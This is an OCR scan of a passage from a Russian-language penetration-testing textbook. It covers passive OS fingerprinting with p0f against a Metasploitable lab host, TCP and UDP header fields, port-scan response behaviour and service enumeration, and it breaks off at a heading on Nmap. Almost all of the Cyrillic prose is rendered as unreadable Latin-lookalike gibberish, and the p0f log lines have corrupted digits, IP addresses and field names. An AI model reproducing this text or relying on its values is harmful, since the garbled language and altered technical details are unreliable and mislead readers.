cueHapwi build.sh. Mo ymonuaHwto chain 6asbl AaHHbIX oTreyaTkoB (pOf.fp)
pacrnonaraeTcsi B TeKyLleM KaTasnore.

Ecnu Bbl XOTUTE M3MEHWUTb NyTb XpaHeHUs daiina U NOMeCTUTb ero, Harpu-
mep, B kaTanor /etc/pO0f/pOf.fp, oTpenaktupyiite daiin config.h n nepekom-
nunupyiite pOf. ECM NyTb XpaHeHUs! HEe U3MEeHUTb, TO AJs OnpeaeneHus
pacrionoxeHus caiina 6asbl AaHHbIX OTNEeYaTKoB NoTPebyeTcs UCMob30BaTh
napameTp -f.

Y1o6e! moayduth goctyn Kk pOf, oTKpoiiTe KOHCOMDb U BBeAMTE KOMaHIy pOf -h.
Omna BbIBe/IeT Ha 9KPAH MHCTPYKIIMIO 110 UCIIOJb30BAHUIO TIPUJIOKEHUS U ONMCAHKe
Bcex napameTpoB. Bocrosbayemcest unctpymentom pOf st upentudukaimm oneparu-
OHHOI CUCTEeMbI, yCTAaHOBJIEHHON Ha yIaJIeHHOU MaIlliHe, K KOTOPOM MBI MOJAKIIOUYNMCS.
J17151 3TOTO HY’KHO BBECTH B KOHCOJIN CJIEIYIONIYI0 KOMaH/Yy:

pof -f /etc/pef/pof.fp -o pof.log

Komanga Oyzer unrars 6asy naHHbIX 13 (aiiia 1 COXpaHuT ceenns B daiie pof. log.
3areM BBI YBUJIUTE CIEAYIONIYIO HHPOPMAITHIO:

--- pof 3.07b by Michal Zalewski <lcamtuf@coredump.cx> ---
[+] Closed 1 file descriptor.

[+] Loaded 320 signatures from '/usr/share/pef/pef.fp".
[+] Intercepting traffic on default interface 'etho'.

[+] Default packet filtering configured [+VLAN].

[+] Log file 'pef.log' opened for writing.

[+] Entered main event loop.

Ternepb HEOOXOANMO BBITIOHUTB CETEBbIE Olepariui 1o cosfanuio TCP-moakoueHwst,
HaTpUMep MPOCMOTP Y/IATIEHHOTO KOMITbIOTEPa TV TIOIKJTII0UEHME 1[eJIEBOTO YAaJeHHO-
TO KOMIIbIOTEPA K HallleMy KoMIIbioTepy. /l71s1 mpruMepa MbI yCTaHOBUIIH MTOIKJIIOUEHIE
k caiitry HTTP, pacniosioxkerHOMYy Ha KOMITbIOTEPE 2.

Mpwv yCrnewHoM CHATMM 0TNeYaTKoB € nomMoubto pOf nHgopmaumio o6 one-
PaLMOHHOM CUCTEME LIENEBOM MaLLUHbI Bbl YBUAUTE B KOHCO/IN. KpoMe Toro,
OHa coxpaHuTcs B daiine xypHana (p0f.log).
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ITO COKPAIIEHHBINA BAPUAHT TOTO, YTO OY/ET OTOOPAKEHO B KOHCOJIH:

-[ 172.16.43.150/41522 -> 172.16.43.156/80 (syn+ack) ]-

server = 172.16.43.156/80

os = Linux 2.6.xe

dist =0

params = none

raw_sig = 4:64+0:0:1460:mss*4,5:mss,sok,ts,nop,ws:df:0

Ha puc. 5.9 nokazan daiis ;kypHaia ¢ moayIeHHoN nH(pOopMaIuei.

Lopen ~ || e [sm|(=]0 00

[2816/82/10 22:12:38] mod=syn|cli=172.16.43.156/41522|srv=172.16.43.156/806|subj=cli|os=Linux 3.11

and newer|dist=0|params=none|raw_sig=4:64+0:0:1460:mss*20, 10:mss, sok, ts,nop,ws:df ,id+:0

[2816/62/10 22:12:38] mod=mtu|cli=172.16.43_158/41522|srv=172.16_.43.156/806|subj=c11|1ink=Fthernat

or modem| raw_mtu=1500

[2616/62/10 22:12:38] mod=syn+ack|cli=172.16.43.156/41522|srv=172.16.43. 156!80|sub]—5rv|os=Llnux

2.6.x|dist=0|params=none| raw_sig=4:64+0:0:1460:mss*4,5:mss,sok,ts,nop,ws:df:0

[2016/02/1@ 22:12:38] mod=mtu|cli=172.16.43.150/41522|srv= =172.16.43. 156!8!3|sub]=sr\r|'LJ.nk=Ethernet

or modem| raw_mtu=1560

[2016/02/10 22:12:38] mod=http request|cli=172.16.43.150/41522|srv=172.16.43.156/80|subj=cli|

app=Firefox 1G@.x or newer|lang=English|params=none|raw_sig=l:Host,User-Agent,Accept=[text/

html,application/xhtml+xml,application/xml;q=06.9,*/*;q=0.8],Accept-Language=[en-US,en;q=0.5] ,Accept-

Encoding=[yzip, defllale],Corneclion=[keep-alive] (Accepl-Charsel , Keep-Alive:Mozilla/5.0 (X11; Linux

x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.6.0

[2616/02/10 22:12:39] mod-uptime|cli=172.16.43.150/11522|srv=172.16.13.156/80 |subj-srv|uptime=0

days 2 hrs 38 min (modulo 497 days) |raw_freq=98.92 Hz

[2616/62/16 22:12:39] mod=http response|cli=172.16.43.150/41522|srv=172.16 .43 156/868|subj=srv|

app=Apache 2.x|lang=none|params=none|raw_sig=1:Date,Server,X-Powered-By=

[PHP/5.2.4-2ubuntu5.101 .Keep-Alive=[timeout=15, max=10881.Connection=[Keep-Alivel.Transfer-Encoding=

[chunked] ,Content -Type:Accept -Ranges :Apache/2.2.8 (Ubuntu) DAV/2

[2016/82/10 22:12:54] mod=syn|cl1i=172.16.43.150/46432|srv=65.52.108.76/443|subj=cli|os=Linux 3.11

and newer|dist=0|params=none|raw_sig=4:64+0:0:1460:mss*20,10:mss,sok, ts,nop,ws:df,id+:0

[2016/02/10 22:12:54] mod=mtu|cli=172.16.43.150/46432|srv=65.52.108.76/443|subj=cli|1ink=Ethernet

or modem | raw_mtu=1568

[2016/02/10 22:12:54] mod=uptime|cl1=172.16.43.150/46432|srv=565.52.108.76/443|sub]=cll|uptime=0

days 3 hrs 25 min (modulo 198 days) |raw_Treg=249.98 Hz

[2616/02/10 22:12:54] mod=syn+ack|cli<172.16.43.158/46432|srv=65.52.108.76/443|subj=srv|os=777|

dist=0|params=none| raw_sig=4:120+0:0:1460:mss*44,0:mss::0

[2616/02/10 22:12:54] mod=mtu|cli=172.16.43.1560/46432|5rv=65.52.1088.76/443|subj=srv|link=Ethernet

or modem| raw_mtu=1560

[2B16/82/18 22:12:54] mod=syn|cl1=177.16.43.150/56087 |srv=104.208 .31 .113/443|suhj=c11 |os= inux 3.11

and newer|dist=0|params=none|raw_sig=4:64+0:0:14608:ms5*20, 10:mss,sok,ts.nop,ws:df,id+:0

[2016/82/1@ 22:12:54] mod=mtu|cli=172.16.43.150/56687|srv=104.208.31.113/443|subj=cli|link=Ethernet

or modem|raw mtu=1560

[2616/02/10 22:12:54] mod=uptime|cli=172.16.43.150/56087 |srv=104.208.31.113/443|subj=cli|uptime=0

days 3 hrs 25 min (modulo 198 days)|raw_freg=256.006 Hz

[2616/02/10 22:12:54] mod=syn+ack|cl1i=172.16.43.156/56087|srv=104.208.31.113/443|subj=srv|os=77?|

dist=0|params=none| raw_sig=4:128+0:0:1460:mss*44,0:mss::0

[2016/02/10 22:12:54] mod=mtu|cli=172.16.43.150/56087 |srv=104.208.31.113/443|subj=srv|link=Ethernet

ur moden | raw_mlu=1500

[2016/02/10 22:13:10] mod-syn|cli=172.16.43.150/4G250|srv=-23.102.59.27/443|subj=cli|os-Linux 3.11

and newer|dist=@|params=none|raw_sig=4:64+0:0:1460:m35*20,10:mss,s0k,ts,nop,ws:df,id+:0

[2016/02/10 22:13:10] mod-mtu|cli=172.16.43.150/16290|srv=23.102.59.27/413|subj=cli|link=Ethernet

or modem| raw_mtu=1508

[2816/62/16 22:13:108] mod=uptime|cli=172.16_43.150/46290 |srv=23.102.59.27/443 |subj=cli|uptime=0

days 3 hrs 26 min (modulo 198 days)|raw_freg=249.98 Hz

[2016/02/10 22:13:111 mod=syn+ack|cli=172.16.43,156/46290|srv=23.102.59.27/443|subj=srv|os=?77|

dist=0|params=none| raw sig=4:128+0:0:1460:mss*44,0:mss::0

[2016/02/10 22:13:111 mod=mtulcli=172,16.43,156/46250|srv=23,102.59. 2?3443[subi=srxllinl\=EthErnet B
Plsin Text ¥ TabWidth: 8 * Ln 1 Coll INS

Puc. 5.9. VlHdopmauus, 3anvcaHHas B XXypHan

OCHOBEBIBasICh Ha TIPpEAbIAYIIEM PE3YJabTaTe, Mbl Y3HAJIN, YTO IEJIbIO ABJIAETCS OIle-

panmonHas cucteMa Linux 2.6.
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Ha puc. 5.10 IIPUBO/IATCA JaHHDbIE, TTOJIyYE€HHbIE C 1I€JIEBOIO KOMIIbIOTEDA.

nsfadmin®metasploitable:™5 unane -a
Linux metasploitable £.6.24-16-server #1 5 Thu Apr 10 13:58:00 UTC 2008 i6B6

NU/Linux
nsfadminemetasploitable: ™5 -

Puc. 5.10. NHdopmaums 06 OC, nonyyeHHas C LeNeBOro KOMMboTepa

CpaBHuBas jaHubie, Mbl ToiiMeM, uto pOf paBuiIbHO oMy YrI HHGOPMAIHIO 06
OC wuesieBoro KoMmbioTepa. Y jajeHHas MaliHa paboraer moj yiupasaeHeM Linux
Bepcun 2.6.

3asepiute pabory pOf, HaxkaB coueranue kiaapuii Ctrl+C.

BBefeHWe B CKaHMPOBAHME MOPTOB

CaMbIii TPOCTO# METOJ CKAHUPOBAHUS TIOPTOB TOT, YTO UCIOJb3YETCs Ha IEJEBBIX
KOMIIBIOTEpax s OTPeieJIEHUST COCTOSTHUS TopToB TpoTokosioB TCP u UDP. OTkphI-
THII IIOPT O3HAYAET, YTO B IeJIEBOM KOMIIBIOTEPE CYILECTBYET ceTeBasd cayskba, KoTopas
IIPOC/IYIIUBAET IIOPT, U OHA ZOCTYITHA. 3aKPBITHIIL IIOPT IIOKA3bIBAET, UTO CIIYKObI, IIPO-
CJIyHIMBAIOIIeH TaHHBII MOPT, HET.

[Tocsie Toro Kak cocrosiHue mopra GyAeT OIpeaeseHo, 3JI0yMbIIJIEHHUK TPOBEPUT
BEPCHIO UCIIOIb3YEMOTO CETEBOM CIyKOOM IIPOrpaMMHOr0 obecedenus: 1 0OHAPYKUAT
YS3BUMOCTH 9TO# Bepenu. TIpenosoKuM, uto cepsep A UMeeT porpaMMHoOe obectie-
vyenue BeG-cepsepa Bepcun 1.0. HeckosbKo JHElN Hasza ObLT BHIMYIEH OIOJJIETEHD 10
6esomacHocT. MaGopmalus 00 yss3BuMocTi B Beb-cepepax Bepcuu 1.0 Obiia ory-
6simkoBaHa. Eciii 3JIOyMBIIIIEHHUK Y3HAET, KaKast BEPCUsT BeO-cepBepa UCIOJIb3YeTCs,
uHbopMaIs 06 yI3BUMOCTH MOKeT ObITh 3a/[eiiCTBOBaHA JIJIsT aTaKK Ha 9TOT CEPBEP.
ITO MPOCTOI TIPUMEP TOTO, YTO MOKET CJENATh 3JTOYMBINIIEHHUK TOC/IE IOy IeHUsT
HMH(GOPMAIK O IOCTYITHBIX HAa KOMITbIOTEPE CIysKOax.

I[Ipeskae yem Mbl yriryOUMCs B MUP CKAaHUPOBAHMUSI IOPTOB, HEMHOIO 00CY/IMM TEOPUIO
nporokosioB TCP/IP.

N3yyaeM npoTtokon TCP/IP

B cocras nporokosiop TCP /TP BKJIIOUEHBI ECSATKI PA3IUYHBIX TPOTOKOI0B. Hanbosee
BaskHbie 13 HUX — TCP u IP. TIpotokos IP obecrieunBaeT afpecariio, MapIipyTH3aIIo
JlaTarpamMMm 1 ipyrue GyHKIUN 71T TIOKJII0YeHWST OHON MaIlnHbI K ApyToi. [IpoTokon
TCP orBevaeT 3a ynpaBJeHne COeUHEHUAMI U 00€CTIeUNBAET HANEKHYIO TIepefady
JIAHHBIX MEXJIy TpoiteccaMn Ha AByX MammHax. [Iporokos I[P B Mmogesn Open Systems
Interconnection (OSI) pacnosioxken Ha ceTeBoM ypoBHe 3, Torza kak TCP — Ha Tpamc-
rnoptHoM ypoBHe (ypoBeHb 4) OSI.
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Kpome TCP, BTopbIM KJTI0U€BBIM MTPOTOKOJIOM HA TPAHCIOPTHOM YPOBHE SIBJISIETCS
UDP. Koneuno, Bbl MOKeTe CIIPOCUTD, B YEM PA3HUIIA MEK/LY STUMU JBYMS IPOTOKO-
samu. Eciim kopotko, TCP nmeer ciemytornine XxapakKTepUCTUKH.

Q Jmo npomoxo, opuenmuposarnvii na nooxmouenue. Ipexne uem TCP mpucty-
MUT K TIepeade TaHHbIX, KJIUCHT U CePBEP yCTaHABANBAOT Mexkay coboit TCP-
COEJIMHEHME, NCTIOJIB3YSI MEXaHNU3M TPEXCTOPOHHETO TIOATBEPK/IECHUS CBSI3N.

e KJMeHT UHUIUUPYET COeJMHEHNUE, OTIIPABJISIS HA CEPBEP IAKET, COAEePIKAIINI
daar SYN (synchronize). O6paTure BHUMaHUE: B II0JI€ HOPSAAKOBOTO HOMEpPA
cermenTa SYN HaXOQUTCS HauaivHolil nopsaokoswviil nomep (Initial Sequence Num-
ber, ISN). 9tot HoMep BbIOMpaeTCst CIydailHbIM 00Pa3oM.

e Cepsep orseuaer cobcrBernbiM cermentoM SYN, cogepakatiumes B ISN. Cepsep
noareep:xaaeT SYN kimenTa, orpasiists daar ACK (moarepskieHne), XpaHsanuii
3HaveHue kiaueHTckoro ISN + 1.

e KJMeHT MOATBEPKIAET MOTYIEHHOE OT CepBepa COOOIeH e, OTIPABUB (dJiar
ACK, conepsxamuii cepepubiii ISN + 1. [locste aToro kTMeHT 1 cepBep MOTYT
0OMEHUBATHCS JAHHBIMU.

e  YroOo npepBaTh coenunenne, TCP NoJKEeH BBIIOIHUTD TAKUE IIATH:
1) KJIMeHT oTHpaBJIser maket, cogepxamuii Habop daros FIN (finish);

2) cepsep nepegaer naker ACK (moarsepskuerue), 4to0bl COOOIUUTh KIHMEHTY,
yTO cepBep nosryuyus rnaxket FIN;

3) mocJie TOro Kak cepBep MPUJIOKEHU MOJITOTOBUJICS K 3aKPBITHIO, OH OTIIPAaB-
aset maket FIN;

4) 3aTeM KJIWEeHT /IS oTBep KAeHus noryderus nakera FIN cepsepa otmpas-
sser naker ACK. OGbiyHO Kaskiast cTOpoHa (KJAUEHT WU CEPBEP) MOKET
3aBEpPIINUTD CBsI3b, OTIIpaBUB 1makeT FIN.

Q Imo nadexcrviii npomoxon. TCP ucosb3yer MOPSIIKOBBIN HOMED U TTOITBEPIKIE-
HUe Ui uIeHTH(UKAITNN TaKeTHBIX AaHHbIX. [losydaresnb oTpaBisieT moATBe-
pUKZIeHUe TIoc/Ie TToJIydeHus 1akeTa. Eciu nakeT nmoTepsH Win MOATBEPKACHUS OT
nosrydatesis maketa Het, TCP erre pa3 aBToMaTnyecku peTpancaupyeT 3TOT MaKeT.
Ecau nakers! nocrynaior He 110 nopazaky, TCP usmenuT 1nopsaok 1akeToB Hepes
OTIPABKOMN ITPUJIOKEHUIO.

Q IIpuroscenus, KOmMopoviM HEOOXOOUMO nepedasamy (Hailvl Ul BalNcHbie OanHbLe, UC-
nonvayrom npomokon TCP. ITo Takue TPpUIIoKeHNs, Kak, Harpumep, mpotokox HTTP
u nipotokon FTP.

[Tporokos UDP umeer nporuBonosioskubie mpotokory TCP xapakrepuctuku.
Q UDP ue ycranassiusaet coezinnenue. Mlnadye roBopst, /17151 OTIIPABKHU JaHHBIX KJIUEHTY
1 cepBepy B HavaJje repepadn He HykHO yctaHaBiauBath UDP-coennnenne.

Q IIpOTOKOJ IpeAnpUMET BCe UMEIOUIMECS Y HETO CII0COOB, 4TOOBI OTIPABUTD HAKET
B IIYHKT HasHaueHus. Ecin jke maker morepsiercst, UDP He OyzeT oTIpaB/isiTh €ro
MTOBTOPHO.
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[Tporokos UDP ncrosb3yioT NpUIoKeH s, it KOTOPBIX TOTEPsT HEKOTOPBIX MaKe-
TOB HE SIBJISIETCSI KPUTHYECKOMN. DTO TaKne PUIIOKEHIs], KaK TIOTOKOBOE BUIEO 1 IPYTHE
My]IbTHMeZ[HfIHbIe TIPUJIOKECHUA. ﬂpyI'I/IMI/I M3BECTHBIMU TIPUJIOKCHUAMMU, SaHEﬁCTBy-
oMy UDP, apistiorest cucmema domennwvix umern (DNS), npomoxon DHCP v npomoxon
SNMP (Simple Network Management Protocol).

Jliist B3auMoIeliCTBYSI TIPUIIOKEHUI TPUMEHSTIOTCS TIOPTHL. [1pu ajgpecariny yKasbiBa-
I0TCsI HOMepa MOPTOB, Yepe3 KOTOPbIE U IIPOMCXOAUT Hepeada JaHHbiX. [IporpaMMHbIi
IIPOIIECC TIPOCTYIITUBAET OTIPe/IeJICHHBIN MOPT HA CEPBEPE, a KIMEHTCKAsI MAITIHA TOChI-
JIaeT IAHHBIE HA MOPT CEPBEPa, TIe OH J0JUKeH ObITh 0Opabotan. HoMepa mopToB mMeroT
16-paspsiHblii agpec, 1 YnuciIo Moxer BapbupoBarbest o1 0 10 65 535. Uto6b n3bexarh
XAOTUYHOTO MCIIOJIb30BAHNS TOPTOB, ITPEIYCMOTPEHBI CIEAYIONINE YHUBEPCATbHBIE CO-
[JIAIIEHKS O AMala30HaX MX HOMEPOB.

Q HUseecmuwvie nomepa nopmos (om 0 do 1023): HoMepa MOPTOB HTOTO AUATIA30HA 3ape-
3ePBUPOBAHBI 1 OGBIYHO MCIIOIb3YIOTCS CEPBEPHBIMU MIPOIECCAMH, BBITOJIHICMBIMI
CUCTEMHBIM aJIMUHUCTPATOPOM WJIM MPUBUJIETUPOBAHHBIM TT0JIb30BaTeieM. Harpu-
Mep, cepBepHbIe TPUJIOKEHUS 3aHNMAIOT ciietytoriue Homepa moptos: SSH (mopt 22),
HTTP (nopt 80), HTTPS (1iopr 443).

Q 3apezucmpuposarivie nomepa nopmos (om 1024 do 49 151): urobbl 3aperucTpupoBarh
OJINH U3 9TUX HOMEPOB MOPTOB JIJISI CBOETO KIMEHT-CEPBEPHOTO MTPUIIOKEHSI, TTOJIb-
30BaTe/IsAM CJIeIyeT OTIIPABUTh 3a1poc B Internet Assigned Number Authority (IANA).

Q Yacmmuoie, unu dunamuueckue, Homepa nopmoe (49 152—65 535): moboii mosib3oBa-

TeJIb MOJKET 3a/1elICTBOBATh B 3TOM Jialla30He HOMEpa IMMOPTOB, HE PETUCTPUPYA UX
B IANA.

Temneps, Kora Mbl KpaTko obcyauiu pasananst Meskay TCP- u UDP-niporokosamu,
omuteM dopmatst coobiiernit TCP u UDP.

ToHkocTn dopmaToB coobieHnn TCP n UDP

Coob6menne TCP naseisaerca cezmenmom. Cerment TCP cocTonT n3 3aronoska u oOJ1a-
ctu Jannbix. 3aronoBok TCP wacro nmeer pasmep 20 Gaiir (6e3 napamerpos). Ero mox-
HO OITHCATh C TIOMOIIBIO CXEMBI, TOKAa3aHHON Ha puc. 5.11.

Hwke mpuBoaNTCST KpaTKOE OTMCAHNE KAKIOTO TIOJIST.

Q Source Port (ITopt ncrounuka) u Destination Port (IlopT HasHauenust) UMEIOT AJINHY
o 16 6ur. ITopT uCcTOUHNKA — 9TO TIOPT Ha MalllMHe, repeaaiiei maker. [Topt Ha-
3HAUYEHMST — MIOPT Ha I1eJIeBON MalllnHe, IPUHUMAIOIIe! JaHHbBII MaKeT.

O Sequence Number (TTopsiakosbiii Homep) (32 6uta) TP HOPMAIBHOM Hepeade XPaHUT
MOPSZIKOBBIN HOMED T1epBOro HGaiiTa JaHHBIX.

O Acknowledgment Number (Homep moarsepskaerus) (32 6ura) coAepsKUT OPSIKOBbIN
HOMeED OTTIPABUTEJIS, YBEJIMUCHHBIN HA €IUHUILY.

Q H. Len. (4 6uta) — pasmep TCP-3arosioBka B 32-paspsiHbIX CJIOBaX.
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0 7 15 31
MopT ncto4yHuka MNopT Ha3HavyeHus
(16 6uT) (16 6uT)
MopaakoBbIn HOMep
(32 6uTa)
Homep noareepxaeHns
(32 6uTa)
H.Len. Rsvd. BuTbl ynpaenexus Paamep okHa
(4 6uTa) (4 6uTa) (8 6uT) (16 6uT)
KoHTponbHas cymma YHUDUUMPOBaHHbLIN yKasaTenb

(16 6uT) (16 61T)

Puc. 5.11. OnvcaHwue 3aronoska npotokona TCP

O Rsvd. — 3ape3epBUPOBAH JIJIsI UCTIOJIB30BAHUSL. DTO YETBIPEXOUTHOE MOJIE C HYJIEBBIM
3HAYCHUEM.

Q Control Bits usiu Control flags (BuThl yripasienust) — coepsKUT BOCEMb OJIHOOUTHBIX
¢naros. B nepsonavanbroi crierudukanmu (RFC 793) (MoxHo 3arpysuts 1o azpe-
cy http://www.ietf.org/rfc/rfc793.txt) TCP umeet miectsb dhiiaros.

Q SYN — dar cuHXpOHU3aIUK TOPSAKOBLIX HOMEPOB. Vcronb3yercs Bo BpeMs ycTa-
HOBKU CeaHca.

U ACK — YKa3bIBaeT, 4TO I10JI€ OATBEPIKIECHUA B 3ar0JIOBKE TCP aBistercs 3HaUUMBIM.
Ecau B makere cozepkutcs aToT Jiar, TO OH ABJISETCS NOATBEPKICHUEM paHee
TTOJIYYEHHOTO ITaKeTa.

O RST — cOHpachBaeT COCIMHEHNUE.

O FIN — yKasbIBaeT, YTO y CTOPOHBI GOJIBINE HET JAHHBIX JIJIST OTIIPABKH, U UCIIOJIb3Y-
€TCsT JIJIST KOPPEKTHOTO cOpOca COeMHEHNSL.

O PSH — yKasbIBaeT, 4To 9TH JaHHbIe Oy()epU30BaHbI U HOJKHbI ObITh HEPEIaHbl MTPH-
JIOXKEHUTO 0€3 OKUIAHUS IOTIOJTHUTEILHBIX JIAHHBIX.

0 URG — yKasbIBaeT, YTO 3TO BaxKHOE I10JIe CPOYHOTO yKasarTess B 3aroyoBke TCP.
Cpounblii yKazaTesb OTHOCUTCS K BAKHBIM HOMePaM MOCJIeI0BATEIbHOCTH TAHHBIX.
[Tossxe B RFC 3168 6bin mobGasieHsl elle aBa paclIMpeHHbIX ¢uiara. Ero MoxHO
3arpysurhb 110 ajpecy http://www.ietf.org/rfc/rfc3168.txt.

® (R (Congestion Window Reduced — ymenblieHHOE OKHO [IEPErpy3KH) — JaHHbIA
(har coobIIaeT MoIydYaTesTio IAHHBIX, YTO OUEPEh OKUAAIONINX OTIPABKHU TTAKETOB
YMEeHBITIeHA 3-3a TIePeTPY3KU CETH.

® ECN-Echo (Explicit Connection Notification-Echo — aBHoe yBenomieHue 06 axo-
MOIKITIOYEHNI) — O3HAYAET, YTO CETEBOE MOAKIIOUEHNUE IEPETPYKEHO.

Q Window Size (Pasmep okna) (16 6uT) ykassiBaeT KOJIMIECTBO GATOB, KOTOPbIE IIPH-
HUMAIONIasi CTOPOHA TOTOBA IPUHSTh.
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Q Checksum (KoHTpoJbHas cymma) (16 6UT) UCIonb3yeTcs AJis IPOBEPKU Ha OIIUOKY
3arosioBka TCP 1 1aHHBIX.

@raru MOTYT GBITH YCTAHOBJIEHBI HE3aBUCUMO JIPYT OT IpyTa.

YT06bI NONYYMTb AONONHUTENLHBIE CcBeaeHus o TCP, obpatuTeck k RFC 793
n RFC 3168.

[Tpu ckaHrpoBaHUM TTOPTOB € ITOMOIIIBIO OTTIPABJIEHHOIO Ha 1eJIeBYI0 MallliHY TaKeTa
SYN 3710yMBIINIJIEHHUK MOKET CTOJIKHYTHCSI CO CJACAYIONUMHU MTPOOIEMaMI.

Q IleneBag mamuna orBevaet maketoM SYN + ACK. Ecit opT OTKPBIT, MBI TIOJTyYM
aToT naker. Takoe noseaenue onpezaesero s cnenndukayu TCP (RFC 793) u 060-
3HAYaeT, YTO €CJIN MOPT OTKPHIT, TO MakeT SYN /0/KeH OTIPaBIATHCS € TAKETOM
ACK (SYN + ACK), He paccmaTpuBas 1MoJe3Hyio Harpysky camoro mnakera SYN.

Q Ecmm TIOPT 3aKPLIT, IeJIeBad MallliHa OTIIPaBJIACT O6paTHO ITakeT C Ha60pOM 6UTOB

RST u ACK.

Q Ec/u mopT HEAOCTYIIEH 1, CKOPee BCero, 3a0JI0KMPOBAaH MEKCETEBbIM dKPAHOM, 1[e-
JleBas ManirHa nepezgaet cooomenne ICMP.

O Ecau oT 1e/1eBOi MAITMHBI OTBET HE MOCTYIAET, TO, CKOPEe BCETO, CeTeBas CIyKOa
He MPOCJIyIINBaeT BBIOPAHHBIN TOPT Ui OpanaMaysp Gjokupyer Hamr maker SYN
B aBTOMaTUYECKOM PEKUME.

Jlnist nicripITaTe s Ha TPOHUKHOBEHTIE TIPE/ICTABIIACT MHTEPEC CUTYAITHsI, KOT/Ia TIOPT OT-
KPBIT. ITO 3HAYUT, YTO HA HEM €CTb JIOCTYITHBIN CEPBUC, KOTOPBIN MOKHO TECTHPOBATD.

It 6ostee adeKTUBHOM aTaku HeOOXOANUMO TIOHATH HIoaHChI oBeaeHust TCP-1opTos.

Hwuxe MBI pacckakem o pa3inuHbIX BapuanTax noseaennst UDP-nopTos, koTopsie
OymyT oOHapysKeHbI 1pu cKanupoanuu. Ho cHauasa cieayer paccCMOTPETh 3ar0JI0BOK

UDP (puc. 5.12).

0 15 31
[MopT nctoyHnka MopT Ha3Ha4veHns
(16 6uT) (16 6ur)
Onnna UDP KoHTponbHasa cymma UDP
(16 6UT) (16 61T)

Puc. 5.12. OnucaHue 3aronoska npotokona UDP

Huxe mprBoauTCs KpaTKoe OMICaHNe Kaxk/10To 1moJis B 3arosioBke UDP.

Kak u 3arosioBok TCP, 3arosioBok UDP nmMeeT ncxoiHblii OPT U TTOPT HA3HAUECHUS,
KasKIbIi 13 KOTOPBIX uMeeT Aauny 16 6ur. Mexoaublii mopT — 9To MOPT HA OTIIPABJIs-
IoIIel MaInHe, KOTopas TepeiaeT MakeT, B TO BpeMs Kak MTOPT Ha3HAueHHsT — TOPT Ha
1IeJIeBO MallinHe, KOTOPas MOJIy4aeT MaKer.
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O UDP Length ([lotuaa UDP) — nnmna 3arososka UDP.

Q UDP Checksum (Kontposbhast cymma UDP) (16 6ur) ncnosbayercst uist NPOBEPKU
Ha onOku 3arosnoBka UDP u 1aHHbIX.

ObpaTtuTe BHMMaHWe, YTo B 3aronoBke UDP HeT noneit «IopsakoBbli HoO-
Mep», «Homep noaTBepXaeHUs» 1 «Ynpasnsiowme butbi».

Bo Bpems ckanuposanust UDP-11opToB Ha 11e71€Boi MaliiHe 3JI0YMBITIJIEHHUK MOKET
CTOJIKHYTBCS CO CJIEYIONUMU CUTYaIUSIMU.

Q [MenmeBas mammaa oTBevaeT maketoM UDP. Ecaim MbI 9TOT TakeT oJIydnM, 3HAYNT,
JMAHHBIN TOPT OTKPBIT.

O IleneBoii KOMITBIOTEP OTIPABJSAET OTHOCUTENHHO TECTUPYEMOTO TIOPTa COODIIEHE
ICMP. 3710 3HAYUT, 4TO MOPT 3aKphIT. OAHAKO €CIU OTIIPaBIEHHOE COobLIIeH e
He SIBJISIeTCS HeocTynHbIM coobmienrem ICMP, 910 o3Hadaer, 4To nopT GUIbTpy-
ercst GpaHMaysPOM.

Q Ecuu esieBast ManmHa B OTBET He ITOCHLIJIAeT HUKAKUX MTAKETOB, 3TO MOKET YKa3bIBaTh
Ha OJIHY U3 CEeIYIONNX CUTYaInid.

Q Ilopt 3aKpHIT.
Q Bxomamuit UDP-maker 3a6/10K1pOBaH.

O Ortser 3a0JI0KMPOBAH.

CranupoBanue UDP-1opToB MeHee Ha/lesKHO TI0 CPAaBHEHUIO CO CKAaHUPOBAHUEM
TCP-nopros, Tak kak UDP-1opT MOsKeT ObITb OTKPBIT, HO CJIy»k0a, IIPOCIyIINBaIOas
3TOT TIOPT, UITET KOHKPETHBIE MoJie3Hble JaHHbie UDP 1 He oTmpaBisieTr HUKAKUX OT-
BETOB.

Teneps, Koraa Mbl KPaTKO PACCMOTPETH TEOPUIO CKAHUPOBAHUS ITOPTOB, TPUMEHUM
ee Ha TpakTHKe. B coeyonumx pasiesnax Mol pasdepeM HECKOIbKO HHCTPYMEHTOB, KO-
TOPBIE MOKHO MCTIOTH30BATD JIJIST BHITTOJTHEHUS CETEBOTO CKAHUPOBAHUS.

CeTeBOM CKaHep

B arom pasmesie Mbl pacCMOTPUM HECKOJIBKO MHCTPYMEHTOB, KOTOPbIE MOKHO UCITOJIb-
30BaTh [IJIsI TOMCKA OTKPBITHIX TOPTOB, UAEHTUDUKANY YAAIEHHONH ONepaluoOHHON
CHCTEMBI U TIEPEUNCIIEHUS CIIY3K0 HA yIAJEHHON MAIITIHE.

[Tepeuncaenue ciy6 — 9TO METOJ, TPUMEHSAEMBIN /IS TIOMCKA BEPCUU CIYKOBI,
JIOCTYIIHOI HA OTIPe/IeJIEHHOM IIOPTE B LIEJIEBOII CUCTEMe. DTH CBEJEHUST BAXKHBI, IOTOMY
4TO, BJIaJies] HY>KHOI WHbOpMAaIuell, NCIbITaTe/Ib HA IPOHUKHOBEHNE MOXKET MCKATh
YS3BUMOCTH GE301MaCHOCTH, KOTOPbIE CYIIECTBYIOT 15t 3TOI BEPCUY CIIY/KObI.

B ocHOBHOM /17151 €a1ysK0 UCTIOTB3YIOTCST CTAaHAAPTHBIE MOPTHI. HO /111 HEKOTOPBIX
caryk6 cUCTeMHBIE AIMUHUCTPATOPBI MOTYT U3MEHSITh [TOPTHI, TPUMEHSIEMBIE TI0 YMOJI-
yanuio. Hamnpumep, mo ymoauanuio ciay:x6a SSH Moxer ObITh IPUBsI3aHa K HOPTY 22.
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Ho cucremHbIi aIMITHUCTPATOP MOXKET U3MEHUTH €€ TPUBA3KY M HA3HAUUTH TIOPT 2222.
B Taxkom cirydae, eciv MCIIbITaTEN b HA TIPOHUKHOBEHME TPOCKAHUPYET TIOPTHI, HA3HAYEH-
HbIE TI0 yMOoJyawio, Topt st SSH we 6yet o6HapysKeH. Y UCITBITATENS MOTYT BO3HUK-
HYTb TPYHOCTH C TIPOTTPUETAPHBIME MPIJIOKCHUSIMI, PAGOTAIONIMI Ha HECTAHAAPTHBIX
noprax. C OMOIIBIO CPEICTB TIEPEUNCICHUS CITYKG 9TH IBE TIPOOIEMBI MOKHO PEIITHUTH
u caykOy, MPUBSA3aHHYIO K HECTAHAAPTHOMY MOPTY, PeaTbHO 0OHAPYKUTD.

Y10 Takoe Nmap

